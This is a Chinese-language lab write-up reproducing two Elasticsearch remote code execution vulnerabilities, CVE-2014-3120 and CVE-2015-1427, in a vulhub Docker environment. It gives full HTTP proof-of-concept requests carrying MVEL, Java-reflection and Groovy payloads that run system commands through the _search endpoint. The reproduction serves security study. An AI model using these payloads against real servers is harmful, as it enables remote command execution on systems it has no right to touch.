【漏洞复现】CVE-2014-3120 CVE-2015-1427 Expression Injection
CVE-2014-3120漏洞信息
NVD - CVE-2014-3120
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor’s intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
老版本的Elasticsearch允许通过JSON请求传入动态脚本,攻击者可以构造包含MVEL代码的查询,从而在服务器上执行任意命令。
CVE-2015-1427漏洞信息
NVD - cve-2015-1427
The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
CVE-2014-3120后,ElasticSearch默认的动态脚本语言换成了Groovy,并增加了沙盒,但默认仍然支持直接执行动态语言。本漏洞本质是一个沙盒绕过,共有两个思路:
- Java 反射:攻击者可以利用Java的反射机制绕过沙盒限制。
- Groovy 执行:Groovy本身的特性允许攻击者直接执行命令,无需使用Java。
背景介绍
Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.
主页:https://www.elastic.co/elasticsearch
源码:https://github.com/elastic/elasticsearch
环境搭建
docker-compose.yaml
:
version: '2'
services:
es:
image: vulhub/elasticsearch:1.1.1
ports:
- "9200:9200"
- "9300:9300"
使用Docker Compose构建和启动环境:
$ docker-compose up -d
Debug:
ERROR: for es 'ContainerConfig'
Traceback (most recent call last):
File "bin/docker-compose", line 3, in <module>
File "compose/cli/main.py", line 67, in main
File "compose/cli/main.py", line 126, in perform_command
File "compose/cli/main.py", line 1070, in up
File "compose/cli/main.py", line 1066, in up
File "compose/project.py", line 648, in up
File "compose/parallel.py", line 108, in parallel_execute
File "compose/parallel.py", line 206, in producer
File "compose/project.py", line 634, in do
File "compose/service.py", line 579, in execute_convergence_plan
File "compose/service.py", line 501, in _execute_convergence_recreate
File "compose/parallel.py", line 108, in parallel_execute
File "compose/parallel.py", line 206, in producer
File "compose/service.py", line 494, in recreate
File "compose/service.py", line 613, in recreate_container
File "compose/service.py", line 332, in create_container
File "compose/service.py", line 917, in _get_container_create_options
File "compose/service.py", line 957, in _build_container_volume_options
File "compose/service.py", line 1532, in merge_volume_bindings
File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose
# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build
CVE-2014-3120漏洞复现
参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
MVEL是一种用于Java的表达式语言,允许开发者在运行时动态构造和执行代码。由于Elasticsearch在处理查询时允许使用MVEL,攻击者可以通过构造特定的查询来执行Java代码。以下是用于执行系统命令的MVEL代码示例,该代码通过Runtime.getRuntime().exec("id")
执行id
命令,并返回结果:
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();
在Elasticsearch中,查询和脚本通常以JSON格式发送。这使得攻击者能够将恶意Java代码嵌入到JSON请求中:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
该漏洞需要Elasticsearch中至少存在一条数据,以便后续执行脚本,在Elasticsearch中创建一条数据:
发送包含MVEL脚本的查询请求,执行任意代码:
POC_1:
POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "phithon"
}
POC_2:
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
CVE-2015-1427漏洞复现
参考:https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427
和CVE-2014-3120一样,由于查询时至少要求ElasticSearch中有至少一条数据,所以发送如下数据包,增加一个数据:
Java沙盒绕过法
第一种思路是利用Java反射机制,Payload如下:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
java.lang.Math.class.forName("java.lang.Runtime")
:通过反射获取Runtime
类getRuntime().exec("id")
:执行系统命令id
getText()
:获取命令执行的结果
构造POST请求,注意双引号要进行转义或者换成单引号,否则Expression Injection出错:
POC:
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 155
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
Goovy直接执行命令法
第二种思路是直接Groovy执行,Payload如下:
def command='id';def res=command.execute().text;res
同理构造POST请求:
POC:
POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 119
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}